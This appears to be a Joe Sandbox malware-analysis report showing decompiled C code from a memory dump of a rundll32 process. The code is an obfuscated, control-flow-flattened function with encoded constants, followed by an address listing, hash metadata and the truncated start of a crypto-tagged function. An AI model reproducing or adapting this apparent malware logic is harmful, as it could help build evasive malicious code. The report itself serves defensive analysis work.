				intOrPtr* _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				void* _t802;
				void* _t804;
				void* _t806;
				void* _t813;
				void* _t815;
				void* _t824;
				void* _t825;
				void* _t826;
				void* _t834;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t860;
				signed int _t861;
				void* _t862;
				char _t876;
				void* _t895;
				void* _t970;
				signed int _t973;
				void* _t974;
				signed int _t976;
				void* _t977;
				void* _t981;
				signed int* _t982;
				void* _t985;

				_t982 =  &_v420;
				_v92 = 0x21aaea;
				_v96 = __ecx;
				asm("stosd");
				_t840 = 0x27;
				asm("stosd");
				_t981 = 0;
				_t834 = 0x28b91dd;
				asm("stosd");
				_v276 = 0xea4201;
				_v276 = _v276 / _t840;
				_v276 = _v276 >> 9;
				_v276 = _v276 ^ 0x00000300;
				_v216 = 0x33fbfd;
				_v216 = _v216 + 0xffff15bd;
				_v216 = _v216 ^ 0x003311ba;
				_v348 = 0x23ac56;
				_t841 = 7;
				_v348 = _v348 * 0x70;
				_v348 = _v348 >> 0xa;
				_v348 = _v348 << 5;
				_v348 = _v348 ^ 0x007cdb20;
				_v152 = 0xc392ed;
				_v152 = _v152 | 0x3cac8e62;
				_v152 = _v152 ^ 0x3cef9eef;
				_v120 = 0xdb52e;
				_v120 = _v120 | 0x021edf72;
				_v120 = _v120 ^ 0x021fff7e;
				_v140 = 0x716289;
				_v140 = _v140 / _t841;
				_v140 = _v140 ^ 0x001032a5;
				_v404 = 0x901eee;
				_v404 = _v404 | 0xb1deeda2;
				_v404 = _v404 << 0x10;
				_t842 = 0x18;
				_v404 = _v404 * 0x76;
				_v404 = _v404 ^ 0xf7b40000;
				_v308 = 0x6641fd;
				_v308 = _v308 << 8;
				_v308 = _v308 >> 0xb;
				_v308 = _v308 ^ 0x000cc83f;
				_v220 = 0xec4b39;
				_t65 =  &_v220; // 0xec4b39
				_v220 =  *_t65 * 0x63;
				_v220 = _v220 ^ 0x5b61170b;
				_v336 = 0x6361c6;
				_v336 = _v336 | 0x3c2b95f6;
				_v336 = _v336 << 6;
				_v336 = _v336 ^ 0xaef3ea0d;
				_v336 = _v336 ^ 0xb40e978d;
				_v196 = 0x15a25f;
				_v196 = _v196 * 0x3e;
				_v196 = _v196 ^ 0x053d5302;
				_v244 = 0xaeb8cf;
				_v244 = _v244 ^ 0x8ffcaaa2;
				_v244 = _v244 + 0xffff121b;
				_v244 = _v244 ^ 0x8f512488;
				_v284 = 0x3cdf2a;
				_v284 = _v284 / _t842;
				_t843 = 0x6f;
				_v284 = _v284 / _t843;
				_v284 = _v284 ^ 0x00028d29;
				_v380 = 0xe8bf5b;
				_v380 = _v380 | 0xa79448e5;
				_v380 = _v380 + 0x3298;
				_t844 = 0x61;
				_v380 = _v380 / _t844;
				_v380 = _v380 ^ 0x01b6f871;
				_v164 = 0xa028e3;
				_v164 = _v164 >> 8;
				_v164 = _v164 ^ 0x000bef7a;
				_v144 = 0xaa000b;
				_v144 = _v144 | 0xb15b5655;
				_v144 = _v144 ^ 0xb1f93ed7;
				_v224 = 0x825ce8;
				_v224 = _v224 ^ 0x99839705;
				_v224 = _v224 ^ 0x990bf034;
				_v232 = 0x9a02a1;
				_v232 = _v232 ^ 0x3230df48;
				_v232 = _v232 ^ 0x32abc77a;
				_v372 = 0xe8db0;
				_v372 = _v372 ^ 0xdf502c0f;
				_v372 = _v372 << 4;
				_v372 = _v372 + 0xa166;
				_v372 = _v372 ^ 0xf5e20524;
				_v236 = 0xf17d89;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0xc5fdd8cb;
				_v192 = 0x124401;
				_v192 = _v192 << 1;
				_v192 = _v192 ^ 0x002403ab;
				_v200 = 0x5fb430;
				_v200 = _v200 ^ 0xc7981bfe;
				_v200 = _v200 ^ 0xc7ca3d42;
				_v208 = 0xc74c13;
				_t845 = 0x57;
				_v208 = _v208 / _t845;
				_v208 = _v208 ^ 0x0006a8aa;
				_v168 = 0x8380fc;
				_v168 = _v168 * 0x53;
				_v168 = _v168 ^ 0x2aae8785;
				_v176 = 0x9ffdb9;
				_v176 = _v176 ^ 0xfc54cce6;
				_v176 = _v176 ^ 0xfccfce01;
				_v184 = 0x3c19aa;
				_v184 = _v184 + 0xffff0dbd;
				_v184 = _v184 ^ 0x003c7cd6;
				_v332 = 0x7ddf6a;
				_v332 = _v332 * 0x48;
				_v332 = _v332 + 0xffffc784;
				_v332 = _v332 >> 2;
				_v332 = _v332 ^ 0x08d6f5e9;
				_v260 = 0x768b26;
				_v260 = _v260 + 0x1ea0;
				_v260 = _v260 >> 0xa;
				_v260 = _v260 ^ 0x00091d68;
				_v340 = 0xf041ab;
				_v340 = _v340 | 0x9a3ffa69;
				_v340 = _v340 * 0x76;
				_v340 = _v340 << 2;
				_v340 = _v340 ^ 0xc7fb4a22;
				_v356 = 0x43b3d6;
				_v356 = _v356 + 0x4b8b;
				_v356 = _v356 + 0xe9f;
				_v356 = _v356 >> 3;
				_v356 = _v356 ^ 0x000654db;
				_v296 = 0x3744a4;
				_v296 = _v296 | 0xb4c0bda8;
				_v296 = _v296 << 0xc;
				_v296 = _v296 ^ 0x7fd1bf6e;
				_v240 = 0xf0a4a1;
				_t846 = 0x35;
				_t973 = 0x29;
				_v240 = _v240 * 0x29;
				_v240 = _v240 ^ 0x268dfba5;
				_v204 = 0x963c75;
				_v204 = _v204 * 0x65;
				_v204 = _v204 ^ 0x3b49a4c9;
				_v248 = 0xe9b3e2;
				_v248 = _v248 + 0xffffcfe1;
				_v248 = _v248 + 0xffff3918;
				_v248 = _v248 ^ 0x00edd730;
				_v320 = 0x14b129;
				_v320 = _v320 | 0x7afa9cce;
				_v320 = _v320 << 6;
				_v320 = _v320 * 0x2c;
				_v320 = _v320 ^ 0xf22961a1;
				_v412 = 0xf4420e;
				_v412 = _v412 * 0x78;
				_v412 = _v412 >> 5;
				_v412 = _v412 + 0x6896;
				_v412 = _v412 ^ 0x039e325f;
				_v420 = 0x97c268;
				_v420 = _v420 >> 7;
				_v420 = _v420 + 0x9a22;
				_v420 = _v420 * 5;
				_v420 = _v420 ^ 0x0006f3f8;
				_v368 = 0xfa90cd;
				_v368 = _v368 >> 3;
				_v368 = _v368 | 0x960f0bdf;
				_v368 = _v368 / _t846;
				_v368 = _v368 ^ 0x02d25408;
				_v344 = 0xc4a2c6;
				_v344 = _v344 / _t973;
				_t847 = 0x6d;
				_v344 = _v344 * 0x41;
				_v344 = _v344 / _t847;
				_v344 = _v344 ^ 0x0000e167;
				_v376 = 0xa5ec95;
				_v376 = _v376 + 0xffff9374;
				_v376 = _v376 + 0x40c1;
				_v376 = _v376 << 5;
				_v376 = _v376 ^ 0x14ba2e6c;
				_v124 = 0xd2fda4;
				_v124 = _v124 + 0xe683;
				_v124 = _v124 ^ 0x00d1ecea;
				_v188 = 0x3a4eac;
				_v188 = _v188 * 0x65;
				_v188 = _v188 ^ 0x170628e3;
				_v132 = 0x698490;
				_v132 = _v132 + 0x597e;
				_v132 = _v132 ^ 0x0066fb45;
				_v292 = 0x223a77;
				_v292 = _v292 << 0xd;
				_v292 = _v292 + 0xffff3c10;
				_v292 = _v292 ^ 0x474a06e9;
				_v180 = 0x302f0e;
				_v180 = _v180 >> 5;
				_v180 = _v180 ^ 0x000a5e5d;
				_v300 = 0xc22ee2;
				_v300 = _v300 << 9;
				_v300 = _v300 ^ 0x161ea530;
				_v300 = _v300 ^ 0x924eaf38;
				_v172 = 0xfb4aa2;
				_t848 = 0x5b;
				_v172 = _v172 / _t848;
				_v172 = _v172 ^ 0x000048eb;
				_v388 = 0x360efc;
				_t849 = 0xa;
				_v388 = _v388 * 0x3a;
				_v388 = _v388 + 0xc1c4;
				_v388 = _v388 + 0x5664;
				_v388 = _v388 ^ 0x0c403f0e;
				_v396 = 0x5476a;
				_v396 = _v396 ^ 0x42600bf2;
				_v396 = _v396 >> 0xe;
				_v396 = _v396 * 0x62;
				_v396 = _v396 ^ 0x00664365;
				_v328 = 0xe3494b;
				_v328 = _v328 + 0x92aa;
				_v328 = _v328 ^ 0x6aed616f;
				_t376 =  &_v328; // 0x6aed616f
				_v328 =  *_t376 / _t849;
				_v328 = _v328 ^ 0x0a9641d7;
				_v268 = 0xcdefc7;
				_v268 = _v268 ^ 0xa3334e4e;
				_t850 = 0x25;
				_v268 = _v268 / _t850;
				_v268 = _v268 ^ 0x04647efb;
				_v400 = 0x131a5;
				_t851 = 0x64;
				_v400 = _v400 * 0x4a;
				_v400 = _v400 ^ 0x0f1274da;
				_v400 = _v400 * 0x22;
				_v400 = _v400 ^ 0x07d5f55f;
				_v360 = 0xe617d1;
				_v360 = _v360 >> 0xd;
				_v360 = _v360 | 0x5174fa74;
				_v360 = _v360 + 0x188;
				_v360 = _v360 ^ 0x517a384b;
				_v128 = 0xe00f23;
				_v128 = _v128 << 0xa;
				_v128 = _v128 ^ 0x8036c474;
				_v408 = 0xcb78c3;
				_v408 = _v408 / _t851;
				_t852 = 0x47;
				_v408 = _v408 / _t852;
				_v408 = _v408 + 0xffff68fe;
				_v408 = _v408 ^ 0xfff44118;
				_v272 = 0xfc5a62;
				_v272 = _v272 * 0x34;
				_v272 = _v272 >> 5;
				_v272 = _v272 ^ 0x019747a7;
				_v156 = 0xfa4dde;
				_v156 = _v156 >> 8;
				_v156 = _v156 ^ 0x000644ae;
				_v304 = 0x2315e0;
				_v304 = _v304 ^ 0x963b0ec5;
				_t853 = 0x11;
				_v304 = _v304 / _t853;
				_v304 = _v304 ^ 0x08dc5d77;
				_v392 = 0x627a1b;
				_t854 = 0x75;
				_v392 = _v392 / _t854;
				_v392 = _v392 << 0xc;
				_t976 = 0x2a;
				_v392 = _v392 / _t976;
				_v392 = _v392 ^ 0x0054cd8e;
				_v148 = 0x2962f6;
				_v148 = _v148 << 0xe;
				_v148 = _v148 ^ 0x58b06ca9;
				_v212 = 0x9d6abd;
				_v212 = _v212 + 0xffff6fa8;
				_v212 = _v212 ^ 0x009f4a76;
				_v416 = 0xfea0f4;
				_t855 = 0x2d;
				_v416 = _v416 / _t855;
				_v416 = _v416 / _t973;
				_v416 = _v416 + 0x55e0;
				_v416 = _v416 ^ 0x0005c112;
				_v228 = 0x3963a4;
				_v228 = _v228 ^ 0x31d128c3;
				_v228 = _v228 ^ 0x31eeea44;
				_v136 = 0x9230b0;
				_v136 = _v136 + 0xffff1ea6;
				_v136 = _v136 ^ 0x00954d5e;
				_v364 = 0x2249f0;
				_v364 = _v364 ^ 0xfb680cc4;
				_v364 = _v364 / _t976;
				_v364 = _v364 << 4;
				_v364 = _v364 ^ 0x5fb5fcae;
				_v160 = 0x56bde9;
				_v160 = _v160 << 0x10;
				_v160 = _v160 ^ 0xbde8ac4a;
				_v312 = 0x1ceb4a;
				_v312 = _v312 | 0x930b0a1e;
				_v312 = _v312 + 0x4259;
				_v312 = _v312 ^ 0x93207f8d;
				_v280 = 0x43d239;
				_v280 = _v280 >> 0xb;
				_v280 = _v280 + 0xffff7066;
				_v280 = _v280 ^ 0xfff11c5c;
				_v264 = 0xa9b19b;
				_v264 = _v264 + 0xffffea48;
				_v264 = _v264 ^ 0xb4acc61c;
				_v264 = _v264 ^ 0xb407c15c;
				_v288 = 0x20bbe8;
				_v288 = _v288 + 0xffffa4f3;
				_v288 = _v288 + 0xeeb1;
				_v288 = _v288 ^ 0x002a2e89;
				_v384 = 0x678812;
				_t856 = 0x60;
				_v384 = _v384 / _t856;
				_v384 = _v384 ^ 0xc458a46c;
				_t974 = 0x4e52e2;
				_t977 = 0x8c2efc;
				_t857 = 0x74;
				_v384 = _v384 / _t857;
				_v384 = _v384 ^ 0x01b63bee;
				_v256 = 0xedc72;
				_t858 = 0x62;
				_v256 = _v256 / _t858;
				_v256 = _v256 >> 0xf;
				_v256 = _v256 ^ 0x000eb51d;
				_v352 = 0x77af38;
				_v352 = _v352 + 0xffff483b;
				_v352 = _v352 + 0xdbd8;
				_v352 = _v352 + 0xffff9e40;
				_v352 = _v352 ^ 0x007a82c2;
				_v316 = 0x34e014;
				_v316 = _v316 >> 0xb;
				_v316 = _v316 + 0xffff226a;
				_v316 = _v316 ^ 0x55756368;
				_v316 = _v316 ^ 0xaa84562e;
				_v324 = 0x2bc11f;
				_v324 = _v324 | 0x52ab72b8;
				_t859 = 0x58;
				_v324 = _v324 / _t859;
				_t860 = 0x5f;
				_v324 = _v324 / _t860;
				_v324 = _v324 ^ 0x00016621;
				_v252 = 0xf022e;
				_v252 = _v252 >> 8;
				_t861 = 0x3b;
				_v252 = _v252 / _t861;
				_v252 = _v252 ^ 0x000f04ac;
				while(1) {
					L1:
					_t802 = 0xd56de6a;
					while(1) {
						L2:
						_t862 = 0x80f0eae;
						do {
							while(1) {
								L3:
								_t985 = _t834 - 0x8ccb677;
								if(_t985 > 0) {
									break;
								}
								if(_t985 == 0) {
									E029D8907(_v100, _v280, _v264, _v288);
									_t834 = _t974;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										L2:
										_t862 = 0x80f0eae;
										goto L3;
									}
								}
								if(_t834 == _t974) {
									E029D8907(_v116, _v384, _v256, _v352);
									_t834 = 0xe9f0a5a;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										goto L2;
									}
								}
								if(_t834 == _t977) {
									_t824 = E029DF561(_v104);
									_t834 = 0xac30134;
									__eflags = _t824;
									_t981 =  !=  ? 1 : _t981;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										goto L2;
									}
								}
								if(_t834 == 0x14ed6fb) {
									_t825 = E029D132D(_v116, _v296, _v240, _v120, _v204);
									_t982 =  &(_t982[3]);
									__eflags = _t825 - _v140;
									_t802 = 0xd56de6a;
									_t834 =  ==  ? 0xd56de6a : _t974;
									goto L2;
								}
								if(_t834 == 0x15fae28) {
									_t826 = E029E0AD3(_v328, _v268, __eflags);
									_t895 = 0x29c1598;
									__eflags = E029CF7F4(_v400, _t826, _v360,  *_v96,  *((intOrPtr*)(_v96 + 4)), _t895, _v128, _v112,  &_v100, _v408, _v272, _v220, _v156, _v304) - _v336;
									_t834 =  ==  ? 0x80f0eae : _t974;
									E029D2EED(_v392, _v148, _v212, _t826);
									_t982 =  &(_t982[0xe]);
									L14:
									_t977 = 0x8c2efc;
									L35:
									_t862 = 0x80f0eae;
									_t802 = 0xd56de6a;
									goto L36;
								}
								if(_t834 == 0x28b91dd) {
									_t834 = 0xbb5c550;
									continue;
								}
								if(_t834 != _t862) {
									goto L36;
								}
								E029D3927(_v416, _v228, _v136, _v196,  &_v104, _v116, _v100);
								_t982 =  &(_t982[5]);
								_t834 =  ==  ? _t977 : 0x8ccb677;
								while(1) {
									L1:
									_t802 = 0xd56de6a;
									goto L2;
								}
							}
							__eflags = _t834 - 0x9b49f28;
							if(_t834 == 0x9b49f28) {
								_v108 = 0x100;
								_t804 = E029D703F(_v332, _v260, _v340, 0x100,  &_v116, _v112, _v348, _v356);
								_t982 =  &(_t982[6]);
								__eflags = _t804 - _v152;
								if(__eflags != 0) {
									_t834 = 0xe9f0a5a;
									goto L35;
								}
								_t834 = 0x14ed6fb;
								while(1) {
									L1:
									_t802 = 0xd56de6a;
									goto L2;
								}
							}
							__eflags = _t834 - 0xac30134;
							if(_t834 == 0xac30134) {
								E029C5FF7(_v364, _v160, _v312, _v104);
								_t834 = 0x8ccb677;
								goto L1;
							}
							__eflags = _t834 - 0xbb5c550;
							if(__eflags == 0) {
								_push(0x29c16d8);
								_t806 = E029E0AD3(_v284, _v380, __eflags);
								 *_t982 = 0x29c15c8;
								__eflags = E029C92DD(_t806, _v276, _v224,  &_v112, E029E0AD3(_v164, _v144, __eflags), _v232, _v372, _v236) - _v216;
								_t834 =  ==  ? 0x9b49f28 : 0x911112e;
								E029D2EED(_v192, _v200, _v208, _t806);
								E029D2EED(_v168, _v176, _v184, _t807);
								_t982 =  &(_t982[0xa]);
								_t974 = 0x4e52e2;
								goto L14;
							}
							__eflags = _t834 - _t802;
							if(__eflags == 0) {
								_push(0x29c1598);
								_t813 = E029E0AD3(_v248, _v320, __eflags);
								_t876 = 0x48;
								_t980 = _t813;
								_v108 = _t876;
								_t815 = E029CAD17( &_v108, _v404, _t876, _v412,  &_v76, _v420, _t876, _v116, _v368, _v344, _v376, _t813, _v124, _v188);
								_t982 =  &(_t982[0xc]);
								__eflags = _t815 - _v308;
								if(_t815 != _v308) {
									_t834 = _t974;
								} else {
									_push(_v300);
									_push(_v180);
									_push(_v292);
									_push(_v132);
									_push( *0x29e5be0 + 0x18);
									_t970 = 0x40;
									E029D4626( &_v68, _t970);
									_t982 =  &(_t982[5]);
									_t834 = 0x15fae28;
								}
								E029D2EED(_v172, _v388, _v396, _t980);
								goto L14;
							}
							__eflags = _t834 - 0xe9f0a5a;
							if(_t834 != 0xe9f0a5a) {
								goto L36;
							}
							E029C2CF9(_v316, _v324, _v244, _v252, _v112);
							L25:
							return _t981;
							L36:
							__eflags = _t834 - 0x911112e;
						} while (__eflags != 0);
						goto L25;
					}
				}
			}

0x029cc69b
0x029cc6a1
0x029cc6b9
0x029cc6c0
0x029cc6c5
0x029cc6c8
0x029cc6c9
0x029cc6cb
0x029cc6d0
0x029cc6d1
0x029cc6e7
0x029cc6ee
0x029cc6f6
0x029cc701
0x029cc70c
0x029cc717
0x029cc722
0x029cc72f
0x029cc732
0x029cc736
0x029cc73b
0x029cc740
0x029cc748
0x029cc753
0x029cc75e
0x029cc769
0x029cc774
0x029cc77f
0x029cc78a
0x029cc7a0
0x029cc7a7
0x029cc7b2
0x029cc7ba
0x029cc7c2
0x029cc7cc
0x029cc7cd
0x029cc7d1
0x029cc7d9
0x029cc7e4
0x029cc7ec
0x029cc7f4
0x029cc7ff
0x029cc80a
0x029cc812
0x029cc819
0x029cc824
0x029cc82c
0x029cc834
0x029cc839
0x029cc841
0x029cc849
0x029cc85c
0x029cc863
0x029cc86e
0x029cc879
0x029cc884
0x029cc88f
0x029cc89a
0x029cc8b0
0x029cc8c0
0x029cc8c5
0x029cc8ce
0x029cc8d9
0x029cc8e1
0x029cc8e9
0x029cc8f5
0x029cc8fa
0x029cc900
0x029cc908
0x029cc913
0x029cc91b
0x029cc926
0x029cc931
0x029cc93c
0x029cc947
0x029cc952
0x029cc95d
0x029cc968
0x029cc973
0x029cc97e
0x029cc989
0x029cc991
0x029cc999
0x029cc99e
0x029cc9a6
0x029cc9ae
0x029cc9b9
0x029cc9c1
0x029cc9cc
0x029cc9d7
0x029cc9de
0x029cc9e9
0x029cc9f4
0x029cc9ff
0x029cca0a
0x029cca1c
0x029cca1f
0x029cca26
0x029cca31
0x029cca44
0x029cca4b
0x029cca56
0x029cca61
0x029cca6c
0x029cca77
0x029cca82
0x029cca8d
0x029cca98
0x029ccaa5
0x029ccaa9
0x029ccab1
0x029ccab6
0x029ccabe
0x029ccac9
0x029ccad4
0x029ccadc
0x029ccae7
0x029ccaef
0x029ccafc
0x029ccb00
0x029ccb05
0x029ccb0d
0x029ccb15
0x029ccb1d
0x029ccb25
0x029ccb2a
0x029ccb32
0x029ccb3d
0x029ccb4a
0x029ccb52
0x029ccb5d
0x029ccb72
0x029ccb75
0x029ccb76
0x029ccb7d
0x029ccb88
0x029ccb9d
0x029ccba4
0x029ccbaf
0x029ccbba
0x029ccbc5
0x029ccbd0
0x029ccbdb
0x029ccbe3
0x029ccbeb
0x029ccbf5
0x029ccbf9
0x029ccc01
0x029ccc0e
0x029ccc12
0x029ccc17
0x029ccc1f
0x029ccc27
0x029ccc2f
0x029ccc34
0x029ccc41
0x029ccc45
0x029ccc4d
0x029ccc55
0x029ccc5a
0x029ccc6a
0x029ccc6e
0x029ccc76
0x029ccc86
0x029ccc8f
0x029ccc90
0x029ccc9a
0x029ccc9e
0x029ccca6
0x029cccae
0x029cccb6
0x029cccbe
0x029cccc3
0x029ccccb
0x029cccd6
0x029ccce1
0x029cccec
0x029cccff
0x029ccd06
0x029ccd11
0x029ccd1c
0x029ccd27
0x029ccd32
0x029ccd3d
0x029ccd45
0x029ccd50
0x029ccd5b
0x029ccd66
0x029ccd6e
0x029ccd79
0x029ccd86
0x029ccd8e
0x029ccd99
0x029ccda4
0x029ccdb8
0x029ccdbd
0x029ccdc6
0x029ccdd1
0x029ccdde
0x029ccde1
0x029ccde5
0x029ccded
0x029ccdf5
0x029ccdfd
0x029cce05
0x029cce0d
0x029cce17
0x029cce1b
0x029cce23
0x029cce2b
0x029cce33
0x029cce3b
0x029cce43
0x029cce47
0x029cce4f
0x029cce5a
0x029cce6c
0x029cce71
0x029cce7a
0x029cce85
0x029cce92
0x029cce95
0x029cce99
0x029ccea6
0x029cceaa
0x029cceb2
0x029cceba
0x029ccebf
0x029ccec7
0x029ccecf
0x029cced7
0x029ccee2
0x029cceea
0x029ccef5
0x029ccf05
0x029ccf0d
0x029ccf10
0x029ccf14
0x029ccf1c
0x029ccf24
0x029ccf37
0x029ccf3e
0x029ccf46
0x029ccf51
0x029ccf5c
0x029ccf64
0x029ccf6f
0x029ccf7c
0x029ccf90
0x029ccf95
0x029ccf9c
0x029ccfa7
0x029ccfb5
0x029ccfba
0x029ccfbe
0x029ccfc9
0x029ccfce
0x029ccfd2
0x029ccfda
0x029ccfe5
0x029ccfed
0x029ccff8
0x029cd003
0x029cd00e
0x029cd019
0x029cd027
0x029cd02c
0x029cd038
0x029cd03c
0x029cd044
0x029cd04c
0x029cd057
0x029cd062
0x029cd06d
0x029cd078
0x029cd083
0x029cd08e
0x029cd096
0x029cd0a6
0x029cd0aa
0x029cd0af
0x029cd0b7
0x029cd0c2
0x029cd0ca
0x029cd0d5
0x029cd0e0
0x029cd0eb
0x029cd0f6
0x029cd101
0x029cd10c
0x029cd114
0x029cd11f
0x029cd12a
0x029cd135
0x029cd140
0x029cd14b
0x029cd156
0x029cd161
0x029cd16c
0x029cd177
0x029cd184
0x029cd190
0x029cd195
0x029cd19b
0x029cd1a3
0x029cd1ac
0x029cd1b1
0x029cd1b6
0x029cd1bc
0x029cd1c4
0x029cd1d6
0x029cd1db
0x029cd1e4
0x029cd1ec
0x029cd1f7
0x029cd1ff
0x029cd207
0x029cd20f
0x029cd217
0x029cd21f
0x029cd227
0x029cd22c
0x029cd234
0x029cd23c
0x029cd244
0x029cd24c
0x029cd258
0x029cd25d
0x029cd267
0x029cd26c
0x029cd272
0x029cd27a
0x029cd285
0x029cd294
0x029cd297
0x029cd29e
0x029cd2a9
0x029cd2a9
0x029cd2a9
0x029cd2ae
0x029cd2ae
0x029cd2ae
0x029cd2b3
0x029cd2b3
0x029cd2b3
0x029cd2b3
0x029cd2b9
0x00000000
0x00000000
0x029cd2bf
0x029cd48f
0x029cd496
0x029cd2a9
0x029cd2a9
0x029cd2a9
0x029cd2ae
0x029cd2ae
0x00000000
0x029cd2ae
0x029cd2a9
0x029cd2c7
0x029cd462
0x029cd469
0x029cd2a9
0x029cd2a9
0x029cd2a9
0x00000000
0x029cd2a9
0x029cd2a9
0x029cd2cf
0x029cd435
0x029cd43c
0x029cd442
0x029cd444
0x029cd2a9
0x029cd2a9
0x029cd2a9
0x00000000
0x029cd2a9
0x029cd2a9
0x029cd2db
0x029cd40e
0x029cd41a
0x029cd41d
0x029cd421
0x029cd426
0x00000000
0x029cd426
0x029cd2e7
0x029cd359
0x029cd35e
0x029cd3bc
0x029cd3d2
0x029cd3d9
0x029cd3de
0x029cd3e1
0x029cd3e1
0x029cd715
0x029cd715
0x029cd71a
0x00000000
0x029cd71a
0x029cd2ef
0x029cd33f
0x00000000
0x029cd33f
0x029cd2f3
0x00000000
0x00000000
0x029cd328
0x029cd32d
0x029cd337
0x029cd2a9
0x029cd2a9
0x029cd2a9
0x00000000
0x029cd2a9
0x029cd2a9
0x029cd4a2
0x029cd4a4
0x029cd6c7
0x029cd6f5
0x029cd6fa
0x029cd6fd
0x029cd704
0x029cd710
0x00000000
0x029cd710
0x029cd706
0x029cd2a9
0x029cd2a9
0x029cd2a9
0x00000000
0x029cd2a9
0x029cd2a9
0x029cd4aa
0x029cd4b0
0x029cd6ab
0x029cd6b2
0x00000000
0x029cd6b2
0x029cd4b6
0x029cd4bc
0x029cd5e0
0x029cd5e5
0x029cd5fa
0x029cd645
0x029cd65b
0x029cd665
0x029cd680
0x029cd685
0x029cd688
0x00000000
0x029cd688
0x029cd4c2
0x029cd4c4
0x029cd512
0x029cd517
0x029cd51f
0x029cd527
0x029cd529
0x029cd568
0x029cd56d
0x029cd570
0x029cd577
0x029cd5b7
0x029cd579
0x029cd579
0x029cd587
0x029cd58e
0x029cd595
0x029cd5a4
0x029cd5a7
0x029cd5a8
0x029cd5ad
0x029cd5b0
0x029cd5b0
0x029cd5c9
0x00000000
0x029cd5cf
0x029cd4c6
0x029cd4cc
0x00000000
0x00000000
0x029cd4f2
0x029cd4fc
0x029cd506
0x029cd71f
0x029cd71f
0x029cd71f
0x00000000
0x029cd72b
0x029cd2ae

Strings

K8zQ, xrefs: 029CCECF
]^, xrefs: 029CCD6E
D1, xrefs: 029CD062
RN, xrefs: 029CD688
w:", xrefs: 029CCD32
~Y, xrefs: 029CCD1C
g, xrefs: 029CCC9E
oaj, xrefs: 029CCE3B
YB, xrefs: 029CD0EB
hcuU, xrefs: 029CD234
RN, xrefs: 029CD1A3
U, xrefs: 029CD03C
eCf, xrefs: 029CCE1B
dV, xrefs: 029CCDED
H, xrefs: 029CCDC6
9K, xrefs: 029CC80A

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 9K$D1$K8zQ$YB$]^$dV$eCf$g$hcuU$oaj$w:"$~Y$H$RN$RN$U
API String ID: 0-3730166627
Opcode ID: 0cb642395b8cf4756850b221d669dc9e2f59d0761e95437178f1e5b2237d1408
Instruction ID: 4d0f6564c3bb7bc5ed0b6eed633ed8de29f39c3df740530f67832d25da37de18
Opcode Fuzzy Hash: 0cb642395b8cf4756850b221d669dc9e2f59d0761e95437178f1e5b2237d1408
Instruction Fuzzy Hash: 2F8200715083818FD378CF25C58AB9BBBE2BBC5308F20891DE5D996260DBB19949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 029D1C12, Relevance: 20.6, Strings: 16, Instructions: 644
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E029D1C12(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				char _v2084;
				char _v2604;
				signed int _v2608;
				intOrPtr _v2612;
				intOrPtr _v2616;
				intOrPtr _v2620;
				char _v2624;
				intOrPtr _v2628;
				char _v2632;
				signed int _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				signed int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				signed int _v2788;
				signed int _v2792;
				signed int _v2796;
				signed int _v2800;
				signed int _v2804;
				signed int _v2808;
				signed int _v2812;
				signed int _v2816;
				signed int _v2820;
				signed int _v2824;
				signed int _v2828;
				signed int _v2832;
				signed int _v2836;
				signed int _v2840;
				signed int _v2844;
				signed int _v2848;
				signed int _v2852;
				signed int _v2856;
				signed int _v2860;
				signed int _v2864;
				signed int _v2868;
				signed int _v2872;
				signed int _v2876;
				unsigned int _v2880;
				signed int _v2884;
				signed int _v2888;
				signed int _v2892;
				signed int _v2896;
				signed int _v2900;
				signed int _v2904;
				signed int _v2908;
				signed int _v2912;
